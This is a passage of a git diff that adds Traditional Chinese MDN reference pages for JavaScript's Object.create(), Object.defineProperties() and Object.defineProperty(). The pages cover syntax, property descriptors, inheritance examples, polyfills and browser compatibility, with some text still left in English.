+ <li><a href="/en-US/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/create/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/create/index.html
new file mode 100644
index 0000000000..f158d36977
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/create/index.html
@@ -0,0 +1,258 @@
+---
+title: Object.create()
+slug: Web/JavaScript/Reference/Global_Objects/Object/create
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/create
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.create()</strong></code> 指定其原型物件與屬性，創建一個新物件。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">Object.create(<var>proto</var>[, <var>propertiesObject</var>])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>proto</code></dt>
+ <dd>指定新物件的原型 (prototype) 物件。</dd>
+ <dt><code>propertiesObject</code></dt>
+ <dd>選用，為一物件。如有指定且非 {{jsxref("undefined")}}，則此參數物件中可列舉出的屬性 (即參數物件自身定義的屬性，並非指原型鏈上的 <code>enumerable</code> 特性 ) 對應其屬性名稱，根據其屬性敘述元 (property descriptors) 加進新創建的物件。這些屬性對應到 {{jsxref("Object.defineProperties()")}} 的第二個參數。</dd>
+</dl>
+
+<h3 id="回傳">回傳</h3>
+
+<p>具有指定原型物件與屬性的新物件。</p>
+
+<h3 id="例外">例外</h3>
+
+<p> 如果 <code>proto</code> 參數不是 {{jsxref("null")}} 或一個物件，將會拋出 {{jsxref("TypeError")}} 例外。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Object.create()_實現類別繼承">使用 <code>Object.create() </code>實現類別繼承</h3>
+
+<p>下方是如何使用 <code>Object.create()</code> 去實現類別繼承的示範，此為 JavaScript 支援的單一繼承.。</p>
+
+<pre class="brush: js">// Shape - 父類別
+function Shape() {
+  this.x = 0;
+  this.y = 0;
+}
+
+// 父類別的方法
+Shape.prototype.move = function(x, y) {
+  this.x += x;
+  this.y += y;
+  console.info('Shape moved.');
+};
+
+// Rectangle - 子類別
+function Rectangle() {
+  Shape.call(this); // call super constructor.
+}
+
+// 子類別擴展(extends)父類別
+Rectangle.prototype = Object.create(Shape.prototype);
+Rectangle.prototype.constructor = Rectangle;
+
+var rect = new Rectangle();
+
+console.log('Is rect an instance of Rectangle?', rect instanceof Rectangle);// true
+console.log('Is rect an instance of Shape?', rect instanceof Shape);// true
+rect.move(1, 1); // Outputs, 'Shape moved.'
+</pre>
+
+<p>也可像 mixin 繼承多個物件。</p>
+
+<pre class="brush: js">function MyClass() {
+  SuperClass.call(this);
+  OtherSuperClass.call(this);
+}
+
+// 繼承一個父類別
+MyClass.prototype = Object.create(SuperClass.prototype);
+// mixin另一個父類別
+Object.assign(MyClass.prototype, OtherSuperClass.prototype);
+// 重新指定建構式
+MyClass.prototype.constructor = MyClass;
+
+MyClass.prototype.myMethod = function() {
+  // do a thing
+};
+</pre>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/assign">Object.assign</a> 複製 OtherSuperClass 原型上的所有屬性到 MyClass 的原型上，使所有 MyClass 的實例都能使用。Object.assign 為 ES2015 標準且<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/assign#Polyfill">有 polyfill</a>。如需支援較舊的瀏覽器，可使用第三方套件實現如 <a href="https://api.jquery.com/jQuery.extend/">jQuery.extend()</a> 或 <a href="https://lodash.com/docs/#assign">_.assign()</a> 。</p>
+
+<h3 id="propertiesObject_參數的使用"><code>propertiesObject</code> 參數的使用</h3>
+
+<pre class="brush: js">var o;
+
+// 建立以null為原型的物件
+o = Object.create(null);
+
+
+o = {};
+// 等同於:
+o = Object.create(Object.prototype);
+
+
+// Example where we create an object with a couple of sample properties.
+// (Note that the second parameter maps keys to *property descriptors*.)
+o = Object.create(Object.prototype, {
+  // foo 為數值屬性
+  foo: { writable: true, configurable: true, value: 'hello' },
+  // bar 為 getter-and-setter 訪問屬性
+  bar: {
+    configurable: false,
+    get: function() { return 10; },
+    set: function(value) { console.log('Setting `o.bar` to', value); }
+/* with ES5 Accessors our code can look like this
+    get function() { return 10; },
+    set function(value) { console.log('setting `o.bar` to', value); } */
+  }
+});
+
+
+function Constructor() {}
+o = new Constructor();
+// 等同於:
+o = Object.create(Constructor.prototype);
+// Of course, if there is actual initialization code in the
+// Constructor function, the Object.create() cannot reflect it
+
+
+// 創建一個新物件，指定原型是全新的空物件，並加入值為 42 的屬性'p'
+o = Object.create({}, { p: { value: 42 } });
+
+// 屬性敘述元 writable, enumerable , configurable 未定義，預設皆為 false
+o.p = 24;
+o.p;
+// 42
+
+o.q = 12;
+for (var prop in o) {
+  console.log(prop);
+}
+// 'q'
+
+delete o.p;
+// false
+
+// to specify an ES3 property
+o2 = Object.create({}, {
+  p: {
+    value: 42,
+    writable: true,
+    enumerable: true,
+    configurable: true
+  }
+});
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>此 polyfill 涵蓋了主要的使用情境：指定一個原型創建一個新的物件，第二個參數為選用。</p>
+
+<p>要注意的是在 ES5 的<code>Object.create</code>中， <code>[[Prototype]]</code> 可以為 <code>null</code>，但在ECMAScript 5 以前的版本，polyfill 會因為繼承限制( limitation inherent )而不支援此情形。</p>
+
+<pre><code>if (typeof Object.create !== "function") {
+    Object.create = function (proto, propertiesObject) {
+        if (!(proto === null || typeof proto === "object" || typeof proto === "function")) {
+            throw TypeError('Argument must be an object, or null');
+        }
+        var temp = new Object();
+        temp.__proto__ = proto;
+        if(typeof propertiesObject === "object")
+            Object.defineProperties(temp, propertiesObject);
+        return temp;
+    };
+}</code></pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.5', 'Object.create')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.create', 'Object.create')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatOperaMobile("11.5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>John Resig's post on <a href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf()</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/defineproperties/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/defineproperties/index.html
new file mode 100644
index 0000000000..fc87ca0317
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/defineproperties/index.html
@@ -0,0 +1,224 @@
+---
+title: Object.defineProperties()
+slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperties
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>Object.defineProperties()</strong></code> 函式可定義新的或是修改已存在的物件屬性，並回傳修改後的物件。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperties(<var>obj</var>, <var>props</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>The object on which to define or modify properties.</dd>
+ <dt><code>props</code></dt>
+ <dd>An object whose own enumerable properties constitute descriptors for the properties to be defined or modified. Property descriptors present in objects come in two main flavors: data descriptors and accessor descriptors (see {{jsxref("Object.defineProperty()")}} for more details). Descriptors have the following keys:</dd>
+ <dd>
+ <dl>
+  <dt><code>configurable</code></dt>
+  <dd><code>true</code> if and only if the type of this property descriptor may be changed and if the property may be deleted from the corresponding object.<br>
+  <strong>預設為 <code>false</code>.</strong></dd>
+  <dt><code>enumerable</code></dt>
+  <dd><code>若該屬性設為 true，則該屬性可被物件所列舉。</code><br>
+  <strong>預設為 <code>false</code>.</strong></dd>
+ </dl>
+
+ <dl>
+  <dt><code>value</code></dt>
+  <dd>The value associated with the property. Can be any valid JavaScript value (number, object, function, etc).<br>
+  <strong>預設為 {{jsxref("undefined")}}.</strong></dd>
+  <dt><code>writable</code></dt>
+  <dd><code>若該屬性為 true</code>，則該屬性可透過{{jsxref("Operators/Assignment_Operators", "賦予運算子", "", 1)}}所改變<br>
+  <strong>預設為 <code>false</code>.</strong></dd>
+ </dl>
+
+ <dl>
+  <dt><code>get</code></dt>
+  <dd>A function which serves as a getter for the property, or {{jsxref("undefined")}} if there is no getter. The function return will be used as the value of property.<br>
+  <strong>預設為 {{jsxref("undefined")}}.</strong></dd>
+  <dt><code>set</code></dt>
+  <dd>A function which serves as a setter for the property, or {{jsxref("undefined")}} if there is no setter. The function will receive as only argument the new value being assigned to the property.<br>
+  <strong>預設為 {{jsxref("undefined")}}.</strong></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>The object that was passed to the function.</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>Object.defineProperties</code>, in essence, defines all properties corresponding to the enumerable own properties of <code>props</code> on the object <code>obj</code> object.</p>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: js">var obj = {};
+Object.defineProperties(obj, {
+  'property1': {
+    value: true,
+    writable: true
+  },
+  'property2': {
+    value: 'Hello',
+    writable: false
+  }
+  // etc. etc.
+});
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Assuming a pristine execution environment with all names and properties referring to their initial values, <code>Object.defineProperties</code> is almost completely equivalent (note the comment in <code>isCallable</code>) to the following reimplementation in JavaScript:</p>
+
+<pre class="brush: js;highlight:[8]">function defineProperties(obj, properties) {
+  function convertToDescriptor(desc) {
+    function hasProperty(obj, prop) {
+      return Object.prototype.hasOwnProperty.call(obj, prop);
+    }
+
+    function isCallable(v) {
+      // NB: modify as necessary if other values than functions are callable.
+      return typeof v === 'function';
+    }
+
+    if (typeof desc !== 'object' || desc === null)
+      throw new TypeError('bad desc');
+
+    var d = {};
+
+    if (hasProperty(desc, 'enumerable'))
+      d.enumerable = !!desc.enumerable;
+    if (hasProperty(desc, 'configurable'))
+      d.configurable = !!desc.configurable;
+    if (hasProperty(desc, 'value'))
+      d.value = desc.value;
+    if (hasProperty(desc, 'writable'))
+      d.writable = !!desc.writable;
+    if (hasProperty(desc, 'get')) {
+      var g = desc.get;
+
+      if (!isCallable(g) &amp;&amp; typeof g !== 'undefined')
+        throw new TypeError('bad get');
+      d.get = g;
+    }
+    if (hasProperty(desc, 'set')) {
+      var s = desc.set;
+      if (!isCallable(s) &amp;&amp; typeof s !== 'undefined')
+        throw new TypeError('bad set');
+      d.set = s;
+    }
+
+    if (('get' in d || 'set' in d) &amp;&amp; ('value' in d || 'writable' in d))
+      throw new TypeError('identity-confused descriptor');
+
+    return d;
+  }
+
+  if (typeof obj !== 'object' || obj === null)
+    throw new TypeError('bad obj');
+
+  properties = Object(properties);
+
+  var keys = Object.keys(properties);
+  var descs = [];
+
+  for (var i = 0; i &lt; keys.length; i++)
+    descs.push([keys[i], convertToDescriptor(properties[keys[i]])]);
+
+  for (var i = 0; i &lt; descs.length; i++)
+    Object.defineProperty(obj, descs[i][0], descs[i][1]);
+
+  return obj;
+}
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">註記</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.7', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.defineproperties', 'Object.defineProperties')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("11.60")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile("11.5")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參閱">參閱</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/object/defineproperty/index.html b/files/zh-tw/web/javascript/reference/global_objects/object/defineproperty/index.html
new file mode 100644
index 0000000000..cf83590181
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/object/defineproperty/index.html
@@ -0,0 +1,380 @@
+---
+title: Object.defineProperty()
+slug: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+---
+<div>{{JSRef}}</div>
+
+<p>靜態方法 <code><strong>Object.defineProperty()</strong></code> 會直接對一個物件定義、或是修改現有的屬性。執行後會回傳定義完的物件。</p>
+
+<div class="note">
+<p><strong>注：</strong>這個方法會直接針對 {{jsxref("Object")}} 呼叫建構子（constructor），而不是 <code>Object</code> 型別的實例。</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/object-defineproperty.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>Object.defineProperty(<var>obj</var>, <var>prop</var>, <var>descriptor</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>要定義屬性的物件。</dd>
+ <dt><code>prop</code></dt>
+ <dd>要被定義或修改的屬性名字。</dd>
+ <dt><code>descriptor</code></dt>
+ <dd>要定義或修改物件敘述內容。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>被定義完或修改完屬性的物件。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>這個函式可以用來增加或修改物件中的屬性定義。在物件建立屬性後，這些屬性同時有被設定預設的設定，才能讓這些屬性被列舉、改變和刪除。而這個函式可以用來改變這些預設的設定。根據預設，被加到物件且使用<code>Object.defineProperty()</code>的值都是{{glossary("Immutable")}}。</p>
+
+<p>物件內的屬性描述器（Property descriptor）主要有兩種：資料描述器（data descriptor）與訪問描述器（accessor descriptor）。<dfn>資料描述器</dfn>（data descriptor）是可以選擇能否覆寫的屬性。<dfn>訪問描述器</dfn>（accessor descriptor） is a property described by a getter-setter pair of functions. A descriptor must be one of these two flavors; it cannot be both.</p>
+
+<p>data 和 accessor descriptors 皆為物件，兩者共享下面提及的 key：</p>
+
+<dl>
+ <dt><code>configurable</code></dt>
+ <dd><code>true</code> 則若且唯若此屬性則將可改變或刪除自相應物件。<br>
+ <strong>預設為 <code>false</code></strong></dd>
+ <dt><code>enumerable</code></dt>
+ <dd><code>true</code> 如果且唯若相應物件被列舉，將會列舉此屬性。<br>
+ <strong>預設為 <code>false</code></strong></dd>
+</dl>
+
+<p>一個 data descriptor 還有以下可選的 key：</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>The value associated with the property. Can be any valid JavaScript value (number, object, function, etc).<br>
+ <strong>預設 {{jsxref("undefined")}}.</strong></dd>
+ <dt><code>writable</code></dt>
+ <dd><code>true</code> 則該物件屬性可透過{{jsxref("Operators/Assignment_Operators", "賦予運算子", "", 1)}}改變其值。<br>
+ <strong>預設 <code>false</code></strong></dd>
+</dl>
+
+<p>一個 accessor descriptor 也擁有下述之 optional keys:</p>
+
+<dl>
+ <dt><code>get</code></dt>
+ <dd>作為 getter 形式，為屬性存在的函式，如果沒有 getter 的話則回傳 {{jsxref("undefined")}}。函式回傳將用於屬性值。<br>
+ <strong>預設 {{jsxref("undefined")}}</strong></dd>
+ <dt><code>set</code></dt>
+ <dd>作為 setter 形式，為屬性存在的函式，如果沒有 setter 的話則回傳 {{jsxref("undefined")}}。 The function will receive as only argument the new value being assigned to the property.<br>
+ <strong>預設 {{jsxref("undefined")}}</strong></dd>
+</dl>
+
+<p>請注意，這些選項並不一定要是 descriptor 屬性，由原型鍊（prototype chain）繼承的屬性，也會被考慮到。要確保需要凍結（freeze）的 {{jsxref("Object.prototype")}} upfront 預設能被保存，請明確指定所有選項，或把 {{jsxref("Object.prototype.__proto__", "__proto__")}} 屬性指向 {{jsxref("null")}}。</p>
+
+<pre class="brush: js">// using __proto__
+var obj = {};
+Object.defineProperty(obj, 'key', {
+  __proto__: null, // no inherited properties
+  value: 'static'  // not enumerable
+                   // not configurable
+                   // not writable
+                   // as defaults
+});
+
+// being explicit
+Object.defineProperty(obj, 'key', {
+  enumerable: false,
+  configurable: false,
+  writable: false,
+  value: 'static'
+});
+
+// recycling same object
+function withValue(value) {
+  var d = withValue.d || (
+    withValue.d = {
+      enumerable: false,
+      writable: false,
+      configurable: false,
+      value: null
+    }
+  );
+  d.value = value;
+  return d;
+}
+// ... and ...
+Object.defineProperty(obj, 'key', withValue('static'));
+
+// if freeze is available, prevents adding or
+// removing the object prototype properties
+// (value, get, set, enumerable, writable, configurable)
+(Object.freeze || Object)(Object.prototype);
+</pre>
+
+<h2 id="範例">範例</h2>
+
+<p>If you want to see how to use the <code>Object.defineProperty</code> method with a <em>binary-flags-like</em> syntax, see <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty/Additional_examples">additional examples</a>.</p>
+
+<h3 id="建立屬性">建立屬性</h3>
+
+<p>When the property specified doesn't exist in the object, <code>Object.defineProperty()</code> creates a new property as described. Fields may be omitted from the descriptor, and default values for those fields are imputed. All of the Boolean-valued fields default to <code>false</code>. The <code>value</code>, <code>get</code>, and <code>set</code> fields default to {{jsxref("undefined")}}. A property which is defined without <code>get</code>/<code>set</code>/<code>value</code>/<code>writable</code> is called “generic” and is “typed” as a data descriptor.</p>
+
+<pre class="brush: js">var o = {}; // Creates a new object
+
+// Example of an object property added with defineProperty with a data property descriptor
+Object.defineProperty(o, 'a', {
+  value: 37,
+  writable: true,
+  enumerable: true,
+  configurable: true
+});
+// 'a' property exists in the o object and its value is 37
+
+// Example of an object property added with defineProperty with an accessor property descriptor
+var bValue = 38;
+Object.defineProperty(o, 'b', {
+  get: function() { return bValue; },
+  set: function(newValue) { bValue = newValue; },
+  enumerable: true,
+  configurable: true
+});
+o.b; // 38
+// 'b' property exists in the o object and its value is 38
+// The value of o.b is now always identical to bValue, unless o.b is redefined
+
+// You cannot try to mix both:
+Object.defineProperty(o, 'conflict', {
+  value: 0x9f91102,
+  get: function() { return 0xdeadbeef; }
+});
+// throws a TypeError: value appears only in data descriptors, get appears only in accessor descriptors
+</pre>
+
+<h3 id="修改屬性">修改屬性</h3>
+
+<p>如果該屬性已經存在, <code>Object.defineProperty()</code> 將會根據描述符內的值和物件當前的 configuration 來修改屬性。 如果舊的描述符之 <code>configurable</code> 的特徵為 false (屬性為 “non-configurable”), 那除了 <code>writable</code> 之外的特徵都將無法修改。 在這個情況，也不可能在 data 和 accessor 屬性類型中來回切換。</p>
+
+<p>如果有一個屬性是 non-configurable, 那它的 <code>writable</code> 特徵只能被改變為 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>.</p>
+
+<p>若嘗試改變 non-configurable property attributes，將會丟出一個 {{jsxref("TypeError")}}，除非當前之值與新值相同。</p>
+
+<h4 id="Writable_attribute">Writable attribute</h4>
+
+<p>當 <code>writable</code> 屬性特徵被設為 <code>false</code>, 此屬性為 “non-writable”. 它將無法被重新賦值。</p>
+
+<pre class="brush: js">var o = {}; // Creates a new object
+
+Object.defineProperty(o, 'a', {
+  value: 37,
+  writable: false
+});
+
+console.log(o.a); // logs 37
+o.a = 25; // No error thrown (it would throw in strict mode, even if the value had been the same)
+console.log(o.a); // logs 37. The assignment didn't work.
+</pre>
+
+<p>As seen in the example, trying to write into the non-writable property doesn't change it but doesn't throw an error either.</p>
+
+<h4 id="可列舉_attribute">可列舉 attribute</h4>
+
+<p>The <code>enumerable</code> property attribute defines whether the property shows up in a {{jsxref("Statements/for...in", "for...in")}} loop and {{jsxref("Object.keys()")}} or not.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', { value: 1, enumerable: true });
+Object.defineProperty(o, 'b', { value: 2, enumerable: false });
+Object.defineProperty(o, 'c', { value: 3 }); // enumerable defaults to false
+o.d = 4; // enumerable defaults to true when creating a property by setting it
+
+for (var i in o) {
+  console.log(i);
+}
+// logs 'a' and 'd' (in undefined order)
+
+Object.keys(o); // ['a', 'd']
+
+o.propertyIsEnumerable('a'); // true
+o.propertyIsEnumerable('b'); // false
+o.propertyIsEnumerable('c'); // false
+</pre>
+
+<h4 id="可設定_attribute">可設定 attribute</h4>
+
+<p>The <code>configurable</code> attribute controls at the same time whether the property can be deleted from the object and whether its attributes (other than <code>writable</code>) can be changed.</p>
+
+<pre class="brush: js">var o = {};
+Object.defineProperty(o, 'a', {
+  get: function() { return 1; },
+  configurable: false
+});
+
+Object.defineProperty(o, 'a', { configurable: true }); // throws a TypeError
+Object.defineProperty(o, 'a', { enumerable: true }); // throws a TypeError
+Object.defineProperty(o, 'a', { set: function() {} }); // throws a TypeError (set was undefined previously)
+Object.defineProperty(o, 'a', { get: function() { return 1; } }); // throws a TypeError (even though the new get does exactly the same thing)
+Object.defineProperty(o, 'a', { value: 12 }); // throws a TypeError
+
+console.log(o.a); // logs 1
+delete o.a; // Nothing happens
+console.log(o.a); // logs 1
+</pre>
+
+<p>If the <code>configurable</code> attribute of <code>o.a</code> had been <code>true</code>, none of the errors would be thrown and the property would be deleted at the end.</p>
+
+<h3 id="新增多個屬性及賦予初始值">新增多個屬性及賦予初始值</h3>
+
+<p>It's important to consider the way default values of attributes are applied. There is often a difference between simply using dot notation to assign a value and using <code>Object.defineProperty()</code>, as shown in the example below.</p>
+
+<pre class="brush: js">var o = {};
+
+o.a = 1;
+// is equivalent to:
+Object.defineProperty(o, 'a', {
+  value: 1,
+  writable: true,
+  configurable: true,
+  enumerable: true
+});
+
+
+// On the other hand,
+Object.defineProperty(o, 'a', { value: 1 });
+// is equivalent to:
+Object.defineProperty(o, 'a', {
+  value: 1,
+  writable: false,
+  configurable: false,
+  enumerable: false
+});
+</pre>
+
+<h3 id="Custom_Setters_and_Getters">Custom Setters and Getters</h3>
+
+<p>Example below shows how to implement a self-archiving object. When <code>temperature</code> property is set, the <code>archive</code> array gets a log entry.</p>
+
+<pre class="brush: js">function Archiver() {
+  var temperature = null;
+  var archive = [];
+
+  Object.defineProperty(this, 'temperature', {
+    get: function() {
+      console.log('get!');
+      return temperature;
+    },
+    set: function(value) {
+      temperature = value;
+      archive.push({ val: temperature });
+    }
+  });
+
+  this.getArchive = function() { return archive; };
+}
+
+var arc = new Archiver();
+arc.temperature; // 'get!'
+arc.temperature = 11;
+arc.temperature = 13;
+arc.getArchive(); // [{ val: 11 }, { val: 13 }]
+</pre>
+
+<p>or</p>
+
+<pre class="brush: js">var pattern = {
+    get: function () {
+        return 'I always return this string, whatever you have assigned';
+    },
+    set: function () {
+        this.myname = 'this is my name string';
+    }
+};
+
+
+function TestDefineSetAndGet() {
+    Object.defineProperty(this, 'myproperty', pattern);
+}
+
+
+var instance = new TestDefineSetAndGet();
+instance.myproperty = 'test';
+console.log(instance.myproperty); // I always return this string, whatever you have assigned
+
+console.log(instance.myname); // this is my name string
+
+</pre>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">註記</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.6', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.defineproperty', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object.defineproperty', 'Object.defineProperty')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object.defineProperty")}}</p>
+</div>
+
+<h2 id="Compatibility_notes">Compatibility notes</h2>
+
+<h3 id="Redefining_the_length_property_of_an_Array_object">Redefining the <code>length</code> property of an <code>Array</code> object</h3>
+
+<p>It is possible to redefine the {{jsxref("Array.length", "length")}} property of arrays, subject to the usual redefinition restrictions. (The {{jsxref("Array.length", "length")}} property is initially non-configurable, non-enumerable, and writable. Thus on an unaltered array, it's possible to change the {{jsxref("Array.length", "length")}} property's value or to make it non-writable. It is not allowed to change its enumerability or configurability, or if it is non-writable to change its value or writability.) However, not all browsers permit this redefinition.</p>
+
+<p>Firefox 4 through 22 will throw a {{jsxref("TypeError")}} on any attempt whatsoever (whether permitted or not) to redefine the {{jsxref("Array.length", "length")}} property of an array.</p>
+
+<p>Versions of Chrome which implement <code>Object.defineProperty()</code> in some circumstances ignore a length value different from the array's current {{jsxref("Array.length", "length")}} property. In some circumstances changing writability seems to silently not work (and not throw an exception). Also, relatedly, some array-mutating methods like {{jsxref("Array.prototype.push")}} don't respect a non-writable length.</p>
+
+<p>Versions of Safari which implement <code>Object.defineProperty()</code> ignore a <code>length</code> value different from the array's current {{jsxref("Array.length", "length")}} property, and attempts to change writability execute without error but do not actually change the property's writability.</p>
+
+<p>Only Internet Explorer 9 and later, and Firefox 23 and later, appear to fully and correctly implement redefinition of the {{jsxref("Array.length", "length")}} property of arrays. For now, don't rely on redefining the {{jsxref("Array.length", "length")}} property of an array to either work, or to work in a particular manner. And even when you <em>can</em> rely on it, <a href="http://whereswalden.com/2013/08/05/new-in-firefox-23-the-length-property-of-an-array-can-be-made-non-writable-but-you-shouldnt-do-it/">there's really no good reason to do so</a>.</p>
+
+<h3 id="Internet_Explorer_8_specific_notes">Internet Explorer 8 specific notes</h3>
+
+<p>Internet Explorer 8 implemented a <code>Object.defineProperty()</code> method that could <a class="external" href="https://msdn.microsoft.com/en-us/library/dd229916%28VS.85%29.aspx">only be used on DOM objects</a>. A few things need to be noted:</p>
+
+<ul>
+ <li>Trying to use <code>Object.defineProperty()</code> on native objects throws an error.</li>
